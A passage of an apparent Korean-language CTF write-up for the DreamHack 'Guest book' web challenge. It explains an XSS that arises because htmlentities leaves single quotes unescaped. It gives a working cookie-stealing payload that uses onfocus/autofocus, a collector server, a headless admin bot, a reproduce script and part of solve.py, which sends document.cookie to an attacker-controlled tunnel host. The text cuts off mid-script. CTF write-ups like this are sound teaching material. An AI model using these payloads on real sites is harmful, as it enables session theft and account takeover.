트리거 λ¬Έμžμ—΄μ„ autofocus=' 둜 써 놓고 κ·Έ 뒀에 onfocus=' λ₯Ό 이어 λΆ™μ˜€λ‹€. 그러면 autofocus 의 값이 ' onfocus=' 둜 μ—΄λ €μ„œ onfocus λΌλŠ” 이름 자체λ₯Ό κ°’μœΌλ‘œ μ‚ΌμΌœ 버린닀. ν•Έλ“€λŸ¬κ°€ μ•„μ˜ˆ μ—†λŠ” νƒœκ·Έλ₯Ό μ„Έ 번 던져 놓고 "νŠΈλ¦¬κ±°κ°€ 문제"라고 읽은 것이닀.

λ”°μ˜΄ν‘œ 계산을 λ°”λ‘œμž‘μ•„ λ‹€μ‹œ λ˜μ§€λ‹ˆ λ„€ 쑰합이 μ „λΆ€ λ°œν™”ν–ˆλ‹€.

22:15:23  gb41d  id + #ν”„λž˜κ·Έλ¨ΌνŠΈ
22:17:15  gb41f  autofocus + λ¬Έμžμ—΄ μ—°κ²°
22:18:21  gb41g  autofocus + λ°±ν‹±
22:18:49  gb41h  autofocus + λ°±ν‹± + https  ← μ΅œμ΄ˆμ— μ‹€νŒ¨ν–ˆλ˜ 것과 μ™„μ „νžˆ 동일

λ§ˆμ§€λ§‰ 쀄이 결정적이닀. 처음 μ‹€νŒ¨ν•œ νŽ˜μ΄λ‘œλ“œμ™€ ν•œ κΈ€μžλ„ λ‹€λ₯΄μ§€ μ•Šμ€λ° μ΄λ²ˆμ—” μ™”λ‹€. 즉 νŽ˜μ΄λ‘œλ“œλŠ” μ²˜μŒλΆ€ν„° λ§žμ•˜κ³ , VM 을 λ§Œλ“  직후에 보낸 첫 리포트만 응닡이 μ—†μ—ˆλ˜ 것이닀. 리포트 μ›Œμ»€κ°€ 아직 μ€€λΉ„λ˜μ§€ μ•Šμ•˜λ˜ 걸둜 보인닀.

κ΅ν›ˆμ€ 두 κ°œλ‹€. ν•˜λ‚˜, μ„œλ²„λ₯Ό 막 λ„μš΄ μ§ν›„μ˜ 무응닡은 νŽ˜μ΄λ‘œλ“œ 탓이 아닐 수 μžˆλ‹€. λ‘˜, 비ꡐ μ‹€ν—˜μ„ μ§€ λ•Œ 각 λ³€ν˜•μ΄ μ˜λ„ν•œ HTML 을 λ§Œλ“œλŠ”μ§€λΆ€ν„° 확인해야 ν•œλ‹€. λ Œλ” κ²°κ³Όλ₯Ό 좜λ ₯ν•˜λ„λ‘ 짜 놓고도 눈으둜 μ•ˆ λ΄€λ‹€.

κ·Έλž˜μ„œ μ΅œμ’… solve.py μ—λŠ” 리포트λ₯Ό 30μ΄ˆλ§ˆλ‹€ λ‹€μ‹œ λ³΄λ‚΄λŠ” μž¬μ‹œλ„λ₯Ό λ„£μ—ˆλ‹€.

β–ΆπŸ› μ‚½μ§ˆ 2 β€” μˆ˜μ§‘ λ‘œκ·Έμ—μ„œ μ€‘κ΄„ν˜Έκ°€ μ‚¬λΌμ‘Œλ‹€

μˆ˜μ§‘ 경둜λ₯Ό μ •ν•˜κΈ° 전에 "ν”Œλž˜κ·Έ λͺ¨μ–‘ λ¬Έμžμ—΄μ΄ 쿼리슀트링으둜 잘 μ§€λ‚˜κ°€λ‚˜"λ₯Ό ν™•μΈν–ˆλ‹€. curl 둜 μ°”λŸ¬ λ³΄λ‹ˆ λ‘œκ·Έμ— μ€‘κ΄„ν˜Έκ°€ μ—†μ—ˆλ‹€.

GET /xss41probe?c=flag=DHfake_test_abc

DH{fake_test_abc} λ₯Ό λ³΄λƒˆλŠ”λ° DHfake_test_abc κ°€ μ°ν˜”λ‹€. WAF κ°€ μ§€μš΄ 쀄 μ•Œμ•˜λ‹€. URL μΈμ½”λ”©ν•œ μͺ½(%7B)은 λ©€μ©‘νžˆ λ‚¨μ•„μ„œ 더 κ·ΈλŸ΄λ“―ν–ˆλ‹€.

범인은 curl μ΄μ—ˆλ‹€. curl 은 URL μ•ˆμ˜ μ€‘κ΄„ν˜Έλ₯Ό κΈ€λ‘œλΉ™ λ¬Έλ²•μœΌλ‘œ ν•΄μ„ν•œλ‹€. {a,b} 둜 μ—¬λŸ¬ URL 을 ν•œ λ²ˆμ— μš”μ²­ν•˜λŠ” κΈ°λŠ₯인데, μ›μ†Œκ°€ ν•˜λ‚˜λΏμ΄λ©΄ κ΄„ν˜Έλ§Œ 벗겨진닀.

-g 둜 κΈ€λ‘œλΉ™μ„ 끄고 λ‹€μ‹œ λ³΄λ‚΄λ‹ˆ κ·ΈλŒ€λ‘œ λ“€μ–΄μ™”λ‹€.

curl -g -s -o /dev/null "$WG_ATTACKER/xss41probe?c=flag=DH{brace_survives_1}"
GET /xss41probe?c=flag=DH{brace_survives_1}

이게 μ€‘μš”ν–ˆλ˜ μ΄μœ λŠ”, λ§Œμ•½ μ •λ§λ‘œ 인코딩이 ν•„μš”ν–ˆλ‹€λ©΄ encodeURIComponent λ₯Ό 써야 ν•˜λŠ”λ° κ΄„ν˜Έλ₯Ό λͺ» μ“°λŠ” μ œμ•½ λ•Œλ¬Έμ— ν•¨μˆ˜ 호좜이 λ§‰ν˜€ μžˆμ—ˆκΈ° λ•Œλ¬Έμ΄λ‹€. λ‹€ν–‰νžˆ 인코딩이 ν•„μš” μ—†μ–΄μ„œ λ°±ν‹± ν•˜λ‚˜λ‘œ 끝났닀.

β–ΆπŸ› μ‚½μ§ˆ 3 β€” 둜컬 μž¬ν˜„μ΄ 두 번째 μ‹€ν–‰μ—μ„œ μ‹€νŒ¨ν–ˆλ‹€

μž¬ν˜„ 슀크립트λ₯Ό λ§Œλ“€μ–΄ λŒλ Έλ”λ‹ˆ 봇은 λΆ„λͺ…νžˆ μΏ ν‚€λ₯Ό λ“€κ³  μˆ˜μ§‘ μ„œλ²„λ‘œ μ΄λ™ν–ˆλŠ”λ°, μˆ˜μ§‘ 둜그λ₯Ό λ’€μ§€λŠ” λ§ˆμ§€λ§‰ λ‹¨κ³„μ—μ„œ "얻은 κ°’: μ—†μŒ" 이 λ‚˜μ™”λ‹€.

[bot] visited http://127.0.0.1:8041/index.php -> final: http://127.0.0.1:8042/?c=flag=DH{local_fake_flag_for_repro}
❌ FAIL [A] 둜컬 유좜 μ‹€νŒ¨ (얻은 κ°’: 'μ—†μŒ')

λΈŒλΌμš°μ € μ£Όμ†Œμ°½μ—λŠ” μΏ ν‚€κ°€ μ°ν˜€ μžˆλŠ”λ° μ„œλ²„ λ‘œκ·Έμ—λŠ” μ—†λ‹€λŠ” λͺ¨μˆœμ΄λ‹€.

μ•žμ„  μ‹€ν—˜μ—μ„œ λ„μ›Œ λ‘” μˆ˜μ§‘ μ„œλ²„κ°€ 아직 8042 λ₯Ό 작고 μžˆμ—ˆλ‹€. μž¬ν˜„ μŠ€ν¬λ¦½νŠΈκ°€ μƒˆλ‘œ λ„μš΄ μͺ½μ€ λ°”μΈλ“œμ— μ‹€νŒ¨ν•΄ μ£½μ—ˆκ³ , μš”μ²­μ€ μ˜› ν”„λ‘œμ„ΈμŠ€κ°€ λ°›μ•„μ„œ κ·Έμͺ½ 둜그둜 κ°”λ‹€. SO_REUSEADDR λ₯Ό 켜 뒀어도 이미 λ¦¬μŠ€λ‹ 쀑인 μ†ŒμΌ“μ€ λͺ» λΊλŠ”λ‹€.

μ•ž μ‹€ν—˜μ˜ μž”μž¬λ₯Ό PID 둜 μ§€μ •ν•΄ μ •λ¦¬ν•˜κ³  λ‹€μ‹œ λŒλ¦¬λ‹ˆ ν†΅κ³Όν–ˆλ‹€. 둜컬 λž©μ„ μ—¬λŸ¬ 번 μ„Έμ› λ‹€ μ ‘μ—ˆλ‹€ ν•  λ•Œ 잘 λ‚˜λŠ” μ‹€μˆ˜λ‹€.



πŸ§ͺ 둜컬 μž¬ν˜„ β€” 라이브λ₯Ό 켜기 전에

라이브 μ„œλ²„μ—μ„œ νŒŒλΌλ―Έν„°λ₯Ό λ°”κΏ” κ°€λ©° μ°”λŸ¬ λ³΄λŠ” 건 μ‹œκ°„λ„ ν¬λ ˆλ”§λ„ λ‚­λΉ„λ‹€. 취약점이 μ§„μ§œμΈμ§€λŠ” μ˜€ν”„λΌμΈμ—μ„œ λ¨Όμ € 증λͺ…ν•  수 μžˆλ‹€. ν•„μš”ν•œ 건 μ„Έ 쑰각이닀.

첫째, 배포된 util.php λ₯Ό κ·ΈλŒ€λ‘œ μ“°λŠ” λ―Έλ‹ˆ λ°©λͺ…둝.

<?php
// 둜컬 μž¬ν˜„μš© λ―Έλ‹ˆ λ°©λͺ…둝.
// 배포된 util.php 의 addLink() λ₯Ό κ·ΈλŒ€λ‘œ λ Œλ”λ§ μ‹±ν¬λ‘œ μ“΄λ‹€ β€” μ—¬κΈ°κ°€ μ‹€μ œ λ¬Έμ œμ™€ λ™μΌν•œ λΆ€λΆ„.
require_once __DIR__ . '/util.php';
 
$DB = __DIR__ . '/posts.json';
$posts = file_exists($DB) ? json_decode(file_get_contents($DB), true) : [];
 
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $posts[] = ['name' => $_POST['name'] ?? 'anon', 'content' => $_POST['content'] ?? ''];
    file_put_contents($DB, json_encode($posts));
    header('Location: /index.php');
    exit;
}
?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><title>Guest book (local repro)</title></head>
<body>
<h1>Guest book</h1>
<form method="POST">
  <input name="name" placeholder="name">
  <textarea name="content" placeholder="content"></textarea>
  <button type="submit">write</button>
</form>
<hr>
<?php foreach ($posts as $i => $p): ?>
  <div class="post">
    <b><?= htmlentities($p['name']) ?></b>
    <p><?= addLink($p['content']) ?></p>
  </div>
<?php endforeach; ?>
</body></html>

λ‘˜μ§Έ, κ΄€λ¦¬μž 봇 흉내. ν”Œλž˜κ·Έκ°€ λ“  μΏ ν‚€λ₯Ό λ¬Όκ³  νŽ˜μ΄μ§€λ₯Ό μ—΄κΈ°λ§Œ ν•œλ‹€. 클릭도 마우슀 이동도 ν•˜μ§€ μ•ŠλŠ” 게 핡심이닀. κ·Έλž˜μ•Ό "무쑰건 μžλ™ λ°œν™”"κ°€ κ²€μ¦λœλ‹€.

#!/usr/bin/env python3
"""둜컬 μž¬ν˜„μš© κ΄€λ¦¬μž 봇.
 
μ‹€μ œ 문제의 Report κΈ°λŠ₯이 ν•˜λŠ” 일과 κ°™λ‹€: ν”Œλž˜κ·Έκ°€ λ“  μΏ ν‚€λ₯Ό λ¬Όκ³ 
μ£Όμ–΄μ§„ URL 을 ν—€λ“œλ¦¬μŠ€ 크둬으둜 ν•œ 번 μ—΄μ–΄ 보고 λ‹«λŠ”λ‹€.
클릭·마우슀 이동은 ν•˜μ§€ μ•ŠλŠ”λ‹€ β€” κ·Έλž˜μ•Ό '무쑰건 μžλ™ λ°œν™”ν•˜λŠ” νŽ˜μ΄λ‘œλ“œ'인지 κ²€μ¦λœλ‹€.
"""
import sys
from playwright.sync_api import sync_playwright
 
url = sys.argv[1]
flag = sys.argv[2] if len(sys.argv) > 2 else "DH{local_fake_flag_for_repro}"
 
with sync_playwright() as p:
    br = p.chromium.launch(args=["--no-sandbox"])
    ctx = br.new_context()
    ctx.add_cookies([{ "name": "flag", "value": flag,
                       "url": "http://127.0.0.1:8041/" }])
    pg = ctx.new_page()
    pg.on("console", lambda m: print("[console]", m.text))
    pg.goto(url, wait_until="load")
    pg.wait_for_timeout(2000)      # λ°œν™”Β·μš”μ²­ λ‚˜κ°ˆ μ‹œκ°„λ§Œ μ€€λ‹€
    print("[bot] visited", url, "-> final:", pg.url)
    br.close()

μ…‹μ§Έ, λΉ μ Έλ‚˜μ˜¨ μΏ ν‚€λ₯Ό λ°›μ•„ μ λŠ” μ΅œμ†Œ μ„œλ²„.

#!/usr/bin/env python3
"""νƒˆμ·¨λœ μΏ ν‚€λ₯Ό λ°›μ•„ μ λŠ” μ΅œμ†Œ μˆ˜μ§‘ μ„œλ²„ (둜컬 검증 μ „μš©)."""
import http.server, socketserver, urllib.parse, datetime
 
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        q = urllib.parse.urlparse(self.path).query
        print(f"[{datetime.datetime.now():%H:%M:%S}] HIT {self.path}")
        print("           decoded:", urllib.parse.unquote(q), flush=True)
        self.send_response(200); self.send_header("Content-Length", "2"); self.end_headers()
        self.wfile.write(b"ok")
    def log_message(self, *a):   # κΈ°λ³Έ μ ‘κ·Όλ‘œκ·ΈλŠ” λˆλ‹€
        pass
 
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("127.0.0.1", 8042), H) as s:
    print("listening on http://127.0.0.1:8042/", flush=True)
    s.serve_forever()

글을 ν•˜λ‚˜ 남기고 λ Œλ” 결과만 뽑아 λ³΄λŠ” 보쑰 μŠ€ν¬λ¦½νŠΈλ„ 같이 μ“΄λ‹€.

#!/bin/bash
# 둜컬 μž¬ν˜„ μ„œλ²„μ— λ°©λͺ…둝 κΈ€ ν•˜λ‚˜λ₯Ό 남기고, λ Œλ”λœ HTML μ—μ„œ <a ...> μ€„λ§Œ 뽑아 λ³Έλ‹€.
# μ‚¬μš©: ./post.sh '<content>'
set -e
curl -s -o /dev/null -X POST http://127.0.0.1:8041/index.php \
     --data-urlencode "name=attacker" --data-urlencode "content=$1"
echo "--- λ Œλ” κ²°κ³Ό ---"
curl -s http://127.0.0.1:8041/index.php | grep -o '<a [^<]*</a>'

이제 λΈŒλΌμš°μ €λ‘œ 직접 ν™•μΈν•œλ‹€. μˆœμ„œλŠ” 셋이닀. ν‰λ²”ν•œ κΈ€ ν•˜λ‚˜λ§Œ μžˆλŠ” λ°©λͺ…둝을 μ—° λ’€ 개발자 μ½˜μ†”μ—μ„œ ν”Œλž˜κ·Έ μΏ ν‚€λ₯Ό 심고, 곡격자 μž…μž₯μ—μ„œ νŽ˜μ΄λ‘œλ“œ 글을 남기고, 같은 μ£Όμ†Œλ₯Ό λ‹€μ‹œ μ—°λ‹€.

document.cookie = 'flag=DH{local_fake_flag_for_repro}'
./post.sh "[x](x' onfocus='location=\`http://127.0.0.1:8042/?c=\${document.cookie}\`' autofocus=')"

둜컬 μž¬ν˜„ λ°©λͺ…λ‘μ˜ 정상 μƒνƒœ β€” ν‰λ²”ν•œ 인사글 ν•˜λ‚˜λ§Œ μ˜¬λΌμ™€ 있고 μ—¬κΈ°κΉŒμ§€λŠ” 아직 아무 일도 μΌμ–΄λ‚˜μ§€ μ•Šμ•˜λ‹€
둜컬 μž¬ν˜„ λ°©λͺ…λ‘μ˜ 정상 μƒνƒœ β€” ν‰λ²”ν•œ 인사글 ν•˜λ‚˜λ§Œ μ˜¬λΌμ™€ 있고 μ—¬κΈ°κΉŒμ§€λŠ” 아직 아무 일도 μΌμ–΄λ‚˜μ§€ μ•Šμ•˜λ‹€

μ—¬κΈ°κΉŒμ§€λŠ” 아무 일도 μ—†λ‹€. 이제 νŽ˜μ΄λ‘œλ“œ 글이 μ˜¬λΌκ°„ λ’€ 같은 μ£Όμ†Œλ₯Ό λ‹€μ‹œ μ—°λ‹€.

νŽ˜μ΄λ‘œλ“œ 글이 μ˜¬λΌκ°„ λ’€ 같은 μ£Όμ†Œλ₯Ό λ‹€μ‹œ μ—° ν™”λ©΄ β€” 클릭 없이 μ£Όμ†Œμ°½μ΄ μˆ˜μ§‘ μ„œλ²„λ‘œ λ„˜μ–΄κ°€κ³  μΏ ν‚€κ°€ μ‹€λ € μžˆλ‹€
νŽ˜μ΄λ‘œλ“œ 글이 μ˜¬λΌκ°„ λ’€ 같은 μ£Όμ†Œλ₯Ό λ‹€μ‹œ μ—° ν™”λ©΄ β€” 클릭 없이 μ£Όμ†Œμ°½μ΄ μˆ˜μ§‘ μ„œλ²„λ‘œ λ„˜μ–΄κ°€κ³  μΏ ν‚€κ°€ μ‹€λ € μžˆλ‹€

μ£Όμ†Œμ°½μ„ 보면 λλ‚œ 이야기닀. λ°©λͺ…둝을 μ—΄μ—ˆμ„ 뿐인데 λΈŒλΌμš°μ €κ°€ μˆ˜μ§‘ μ„œλ²„λ‘œ λ„˜μ–΄κ°€ 있고, μΏΌλ¦¬μŠ€νŠΈλ§μ— μΏ ν‚€κ°€ ν†΅μ§Έλ‘œ λΆ™μ–΄ μžˆλ‹€. 클릭은 ν•œ λ²ˆλ„ μ—†μ—ˆλ‹€.

이 과정을 ν•œ λ²ˆμ— λŒλ¦¬λŠ” μž¬ν˜„ 슀크립트λ₯Ό 남겨 λ‘”λ‹€. μ˜€ν”„λΌμΈ 증λͺ…κ³Ό 라이브 μ΅μŠ€ν”Œλ‘œμž‡μ„ λ‘˜ λ‹€ λ‹΄μ•˜λ‹€.

#!/usr/bin/env bash
# Guest book (DreamHack id 41, Gold 2, web) β€” ν•œ λ°© μž¬ν˜„.
#
# 이 문제의 flag λŠ” κ΄€λ¦¬μž λ΄‡μ˜ 쿠킀에 λ“€μ–΄ μžˆμ–΄μ„œ μ˜€ν”„λΌμΈμœΌλ‘œλŠ” μ ˆλŒ€ λ‚˜μ˜€μ§€ μ•ŠλŠ”λ‹€.
# κ·Έλž˜μ„œ 두 κ°€μ§€λ₯Ό ν•œλ‹€:
#   [A] μ˜€ν”„λΌμΈ β€” 취약점 자체(λ”°μ˜΄ν‘œ 생쑴 β†’ 속성 νƒˆμΆœ β†’ 무클릭 λ°œν™”)λ₯Ό λ‘œμ»¬μ—μ„œ 증λͺ…ν•œλ‹€.
#       PHP 7.4 μ»¨ν…Œμ΄λ„ˆ + playwright λ΄‡μœΌλ‘œ κ°€μ§œ flag μΏ ν‚€κ°€ μ‹€μ œλ‘œ λΉ μ Έλ‚˜μ˜€λŠ”μ§€ λ³Έλ‹€.
#   [B] 라이브   β€” 인자둜 VM μ£Όμ†Œλ₯Ό μ£Όλ©΄ μ§„μ§œ flag κΉŒμ§€ λ½‘λŠ”λ‹€.
#
# μ‚¬μš©:
#   ./reproduce.sh                                            # [A] μ˜€ν”„λΌμΈ 증λͺ…λ§Œ
#   WG_ATTACKER=https://<터널>.lhr.life ./reproduce.sh http://host3.dreamhack.games:PORT/   # [A]+[B]
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
FAKE='DH{local_fake_flag_for_repro}'
 
echo "════ [A] μ˜€ν”„λΌμΈ β€” 취약점 증λͺ… (PHP 7.4 + ν—€λ“œλ¦¬μŠ€ 봇) ════"
 
# 1) 배포된 addLink() λ₯Ό PHP 두 버전에 κ·ΈλŒ€λ‘œ λ¬Όλ € ν™‘λ”°μ˜΄ν‘œ 생쑴 μ—¬λΆ€λ₯Ό λ³Έλ‹€
echo "── htmlentities κΈ°λ³Έ ν”Œλž˜κ·Έ: 7.4(ENT_COMPAT) vs 8.x(ENT_QUOTES)"
docker run --rm -v "$PWD":/w -w /w php:7.4-cli php sink_test.php | grep -A2 'quote-escape' || true
php sink_test.php 2>/dev/null | grep -A2 'quote-escape' || true
 
# 2) λ―Έλ‹ˆ λ°©λͺ…둝을 λ„μš°κ³ , 봇이 클릭 없이 μΏ ν‚€λ₯Ό ν˜λ¦¬λŠ”μ§€ 확인
docker rm -f gb_repro >/dev/null 2>&1 || true
rm -f local/posts.json
docker run --rm -d --name gb_repro --network host -v "$PWD/local":/app -w /app \
        php:7.4-cli php -S 127.0.0.1:8041 -t /app >/dev/null
trap 'docker rm -f gb_repro >/dev/null 2>&1 || true; kill ${EXFIL_PID:-0} 2>/dev/null || true' EXIT
sleep 2
 
python3 local/exfil.py > /tmp/gb_exfil.log 2>&1 &
EXFIL_PID=$!
sleep 1
 
curl -s -o /dev/null -X POST http://127.0.0.1:8041/index.php \
     --data-urlencode 'name=attacker' \
     --data-urlencode "content=[x](x' onfocus='location=\`http://127.0.0.1:8042/?c=\${document.cookie}\`' autofocus=')"
echo "── λ Œλ” κ²°κ³Ό:"
curl -s http://127.0.0.1:8041/index.php | grep -o "<a [^<]*</a>"
 
timeout 120 python3 local/bot.py http://127.0.0.1:8041/index.php "$FAKE" | tail -2
LEAK=$(grep -aoE 'DH\{[^}]+\}' /tmp/gb_exfil.log | head -1 || true)
if [ "$LEAK" != "$FAKE" ]; then
  echo; echo "❌ FAIL [A] 둜컬 유좜 μ‹€νŒ¨ (얻은 κ°’: '${LEAK:-μ—†μŒ}')"; exit 1
fi
echo "βœ… [A] PASS β€” 클릭 없이 μΏ ν‚€ 유좜 확인: $LEAK  (둜컬 더미값이닀. μ§„μ§œ flag μ•„λ‹˜)"
 
# ── [B] 라이브 ────────────────────────────────────────────────────────────
if [ $# -lt 1 ]; then
  echo
  echo "ℹ️  μ§„μ§œ flag λŠ” 라이브 VM 이 μžˆμ–΄μ•Ό λ‚˜μ˜¨λ‹€. μ£Όμ†Œλ₯Ό μ£Όλ©΄ μ΄μ–΄μ„œ λ½‘λŠ”λ‹€:"
  echo "    WG_ATTACKER=https://<터널>.lhr.life ./reproduce.sh http://host3.dreamhack.games:PORT/"
  exit 0
fi
 
echo
echo "════ [B] 라이브 β€” κ΄€λ¦¬μž 봇 μΏ ν‚€ νƒˆμ·¨ ════"
OUT=$(timeout 300 python3 solve.py "$@" 2>&1) || true
echo "$OUT" | tail -5
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1 || true)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "βœ… PASS  $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 κ°’: '${FLAG:-μ—†μŒ}' / κΈ°λŒ€: '$EXPECT')"; exit 1

reproduce.sh λ₯Ό 인자 없이 돌린 κ²°κ³Ό β€” κ°€μ§œ ν”Œλž˜κ·Έ μΏ ν‚€κ°€ μœ μΆœλ˜λŠ” κ²ƒκΉŒμ§€ ν™•μΈν•˜κ³  PASS 둜 λλ‚œλ‹€
reproduce.sh λ₯Ό 인자 없이 돌린 κ²°κ³Ό β€” κ°€μ§œ ν”Œλž˜κ·Έ μΏ ν‚€κ°€ μœ μΆœλ˜λŠ” κ²ƒκΉŒμ§€ ν™•μΈν•˜κ³  PASS 둜 λλ‚œλ‹€

인자 없이 돌리면 μ˜€ν”„λΌμΈ 증λͺ…λ§Œ ν•˜κ³  λλ‚œλ‹€. ν†΅κ³Όν–ˆμœΌλ‹ˆ 이제 라이브λ₯Ό μΌœλ„ λœλ‹€.



🎯 μ΅μŠ€ν”Œλ‘œμž‡ β€” λ΄‡μ—κ²Œ 배달

λΌμ΄λΈŒμ—μ„œλŠ” μœ μΆœμ„ λ°›μ•„ 쀄 곳이 ν•„μš”ν•˜λ‹€. 봇이 μ—¬λŠ” 건 http://127.0.0.1/ 뿐이고 λ°©λͺ…둝은 글을 μ €μž₯ν•˜μ§€λ„ μ•ŠμœΌλ‹ˆ, 같은 좜처 μ•ˆμ—μ„œ 값을 νšŒμˆ˜ν•  방법이 μ—†λ‹€.

μ™ΈλΆ€ μˆ˜μ§‘ μ„œλ²„λ₯Ό μ“΄λ‹€. μš”μ²­μ˜ μΏΌλ¦¬μŠ€νŠΈλ§μ„ λ‘œκ·Έμ— λ‚¨κΈ°κΈ°λ§Œ ν•˜λ©΄ λ˜λ―€λ‘œ 404 λ₯Ό λŒλ €μ€˜λ„ 상관없닀.

μ—¬κΈ°μ„œ 운영 쀑인 λ‚΄ μ‚¬μ΄νŠΈλ₯Ό μ“°λ©΄ μ•ˆ λœλ‹€. ν›”μΉœ flag μΏ ν‚€κ°€ URL 째둜 운영 access log 에 남고, κ·Έ λ‘œκ·ΈλŠ” λ°±μ—…Β·λͺ¨λ‹ˆν„°λ§Β·μ™ΈλΆ€ 뢄석 λ„κ΅¬λ‘œ 계속 λ²ˆμ§„λ‹€. κ·Έλž˜μ„œ μˆ˜μ§‘ μ„œλ²„λŠ” κ²©λ¦¬ν•œ Kali VM 에 올리고 localhost.run 으둜 잠깐만 밖에 λ…ΈμΆœν•œλ‹€.

python3 -m http.server λ‘œλ„ λ˜μ§€λ§Œ 그건 경둜만 μ°λŠ”λ‹€. λˆ„κ°€ λ³΄λƒˆλŠ”μ§€κΉŒμ§€ 증λͺ…ν•˜λ €λ©΄ Referer 와 User-Agent λ₯Ό 같이 남겨야 ν•΄μ„œ μ΅œμ†Œ μ„œλ²„λ₯Ό λ”°λ‘œ 썼닀.

#!/usr/bin/env python3
"""XSS μˆ˜μ§‘ μ„œλ²„ β€” μš”μ²­ κ²½λ‘œμ™€ ν•¨κ»˜ Referer/User-Agent κΉŒμ§€ λ‘œκ·Έμ— 남긴닀."""
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer
 
 
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print('%s - - [%s] "GET %s" referer=%s ua=%s' % (
            self.client_address[0], self.log_date_time_string(), self.path,
            self.headers.get("Referer", "-"), self.headers.get("User-Agent", "-")),
            flush=True)
        self.send_response(404)
        self.end_headers()
 
    def log_message(self, *a):        # κΈ°λ³Έ ν•œ 쀄 λ‘œκ·ΈλŠ” λˆλ‹€(μœ„μ—μ„œ 직접 μ°λŠ”λ‹€)
        pass
 
 
HTTPServer(("0.0.0.0", int(sys.argv[1])), H).serve_forever()
scp collector.py kali:~/atk_gb41/
ssh kali 'cd ~/atk_gb41 && setsid nohup python3 collector.py 8902 \
            > ~/atk_gb41/access.log 2>&1 < /dev/null & disown'
ssh kali 'tmux new-session -d -s lhr "ssh -R 80:localhost:8902 nokey@localhost.run"'
ssh kali 'tmux capture-pane -t lhr -p -S -60 | grep -oE "[a-z0-9]+\.lhr\.life"'

λ°œκΈ‰λ°›μ€ μ£Όμ†Œλ₯Ό WG_ATTACKER 둜 λ„˜κΈ°λ©΄ μ•„λž˜ μŠ€ν¬λ¦½νŠΈλ“€μ΄ μ „λΆ€ κ·Έ μ£Όμ†Œλ₯Ό μ“΄λ‹€. 터널 μ£Όμ†ŒλŠ” 맀번 λ°”λ€Œλ―€λ‘œ 글에 λ°•μ•„ 두지 μ•ŠλŠ”λ‹€.

곡격 흐름 도식 β€” Report 둜 봇을 μœ λ„ν•˜λ©΄ onfocus κ°€ μžλ™μœΌλ‘œ λ°œν™”ν•΄ μΏ ν‚€λ₯Ό μˆ˜μ§‘ μ„œλ²„λ‘œ 보낸닀
곡격 흐름 도식 β€” Report 둜 봇을 μœ λ„ν•˜λ©΄ onfocus κ°€ μžλ™μœΌλ‘œ λ°œν™”ν•΄ μΏ ν‚€λ₯Ό μˆ˜μ§‘ μ„œλ²„λ‘œ 보낸닀

Report 에 넣을 κ²½λ‘œλŠ” GuestBook.php?content=<μΈμ½”λ”©λœ νŽ˜μ΄λ‘œλ“œ> λ‹€. path κ°’ μ•ˆμ— 쿼리슀트링이 ν†΅μ§Έλ‘œ λ“€μ–΄κ°€λ―€λ‘œ νŽ˜μ΄λ‘œλ“œλŠ” 미리 νΌμ„ΌνŠΈ 인코딩해 λ‘”λ‹€.


πŸš€ Full Exploit

μ‹€μ œλ‘œ ν”Œλž˜κ·Έλ₯Ό 뽑은 슀크립트 전문이닀.

#!/usr/bin/env python3
"""DreamHack 'Guest book' (id 41, Gold 2, web) β€” 자체 μ™„κ²° μ΅μŠ€ν”Œλ‘œμž‡.
 
취약점
    배포된 util.php 의 addLink() λŠ” htmlentities() 둜 μ΄μŠ€μΌ€μ΄ν”„ν•œ "뒀에"
    preg_replace 둜 <a href='$2'>$1</a> λ₯Ό λ‹€μ‹œ λ§Œλ“€μ–΄ λ‚Έλ‹€.
    이 μ„œλ²„μ˜ PHP λŠ” htmlentities κΈ°λ³Έ ν”Œλž˜κ·Έκ°€ ENT_COMPAT 라 ν™‘λ”°μ˜΄ν‘œ(')λ₯Ό μ•ˆ κ±΄λ“œλ¦°λ‹€.
    β†’ href='...' λ₯Ό λ‹«κ³  <a> νƒœκ·Έμ— μž„μ˜ 속성(onfocus/autofocus)을 뢙일 수 μžˆλ‹€.
 
μ œμ•½
    μ •κ·œμ‹ \\((.*?)\\) κ°€ 첫 ')' μ—μ„œ λŠκΈ°λ―€λ‘œ URL κ·Έλ£Ή μ•ˆμ— ')' λ₯Ό λͺ» μ“΄λ‹€.
    β†’ κ΄„ν˜Έ μ—†λŠ” JS 만 μ“΄λ‹€. λ°±ν‹± ν…œν”Œλ¦Ώ λ¦¬ν„°λŸ΄κ³Ό λ¬Έμžμ—΄ μ—°κ²° λ‘˜ λ‹€ ν™•μΈν–ˆλ‹€.
 
흐름
    Report.php 둜 κ΄€λ¦¬μž λ΄‡μ—κ²Œ GuestBook.php?content=<payload> λ₯Ό μ—΄κ²Œ ν•˜λ©΄
    autofocus κ°€ onfocus λ₯Ό μžλ™ λ°œν™”μ‹œμΌœ document.cookie(=flag)κ°€ μˆ˜μ§‘ μ„œλ²„λ‘œ λ‚ μ•„μ˜¨λ‹€.
 
μ‚¬μš©:
    WG_ATTACKER=https://<터널>.lhr.life python3 solve.py http://host3.dreamhack.games:PORT/
    (μˆ˜μ§‘ μ„œλ²„λŠ” μΏΌλ¦¬μŠ€νŠΈλ§μ„ access log 에 λ‚¨κΈ°κΈ°λ§Œ ν•˜λ©΄ 무엇이든 λœλ‹€)
"""
import re, sys, time, urllib.parse, requests
 
TARGET  = (sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:11773/").rstrip("/")
COLLECT = (sys.argv[2] if len(sys.argv) > 2 else os.environ["WG_ATTACKER"].rstrip("/") + "/gb41")
LOG     = sys.argv[3] if len(sys.argv) > 3 else "~/atk_gb41/access.log"   # Kali μ•ˆμ˜ 경둜
MARK    = urllib.parse.urlparse(COLLECT).path          # λ‘œκ·Έμ—μ„œ 우리 μš”μ²­λ§Œ 골라낼 ν‘œμ‹
 
# ── νŽ˜μ΄λ‘œλ“œ ────────────────────────────────────────────────────────────────
